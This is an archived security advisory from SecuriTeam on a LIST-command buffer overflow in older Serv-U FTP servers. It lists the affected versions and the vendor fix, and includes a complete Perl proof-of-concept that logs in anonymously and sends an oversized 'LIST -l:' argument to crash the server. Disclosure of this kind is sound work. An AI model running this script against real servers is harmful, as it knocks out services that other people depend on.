servuLIST.txt

`  
Serv-U LIST -l Parameter Buffer Overflow  
------------------------------------------------------------------------  
  
  
Article reference:  
http://www.securiteam.com/windowsntfocus/5ZP0G2KCKA.html  
  
  
  
  
SUMMARY  
  
<http://www.serv-u.com/> Serv-U is a "powerful, easy-to-use, award-winning FTP   
server" created by Rob Beckers.   
A vulnerability in the product allows a remote user to cause the server to   
fail by sending a malformed LIST command to the server.  
  
DETAILS  
  
Vulnerable Systems:  
* Serv-U older than 5.0.0.6  
  
Immune Systems:  
* Serv-U 5.0.0.6 and newer  
  
A user issuing a long parameter (around 134 bytes) as a value for a LIST   
command (using the -l: parameter for that LIST command), can cause the server   
to try and read a value that is outside the memory location of the Serv-U's   
memory, this will cause an exception to be triggered (an unhandled   
exception), which in turn causes the program to crash.  
  
Solution:  
The vendor has released a new version, which fixes this problem.  
  
Exploit:  
#!/usr/bin/perl  
  
use IO::Socket;  
  
$host = "192.168.1.243";  
  
$remote = IO::Socket::INET->new ( Proto => "tcp",  
PeerAddr => $host,  
PeerPort => "2116",  
);  
  
unless ($remote) { die "cannot connect to ftp daemon on $host" }  
  
print "connected\n";  
while (<$remote>)  
{  
print $_;  
if (/220 /)  
{  
last;  
}  
}  
  
$remote->autoflush(1);  
  
my $ftp = "USER anonymous\r\n";  
  
print $remote $ftp;  
print $ftp;  
sleep(1);  
  
while (<$remote>)  
{  
print $_;  
if (/331 /)  
{  
last;  
}  
}  
  
$ftp = join("", "PASS ", "a\@b.com", "\r\n");  
print $remote $ftp;  
print $ftp;  
sleep(1);  
  
while (<$remote>)  
{  
print $_;  
if (/230 /)  
{  
last;  
}  
}  
  
my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");  
  
print $remote $ftp;  
print $ftp;  
sleep(1);  
  
while (<$remote>)  
{  
print $_;  
if (/250 Done/)  
{  
last;  
}  
}  
  
close $remote;  
  
  
ADDITIONAL INFORMATION  
  
SecurITeam would like to thank <mailto:[email protected]> STORM for   
finding this vulnerability.   
  
  
  
  
Regards,   
Aviram Jenik  
Beyond Security Ltd.  
  
http://www.BeyondSecurity.com  
http://www.SecuriTeam.com  
  
The First Integrated Network and Web Application Vulnerability Scanner:  
http://www.beyondsecurity.com/webscan-wp.pdf  
  
  
  
  
====================   
====================   
  
DISCLAIMER:   
The information in this bulletin is provided "AS IS" without warranty of any   
kind.   
In no event shall we be liable for any damages whatsoever including direct,   
indirect, incidental, consequential, loss of business profits or special   
damages.   
`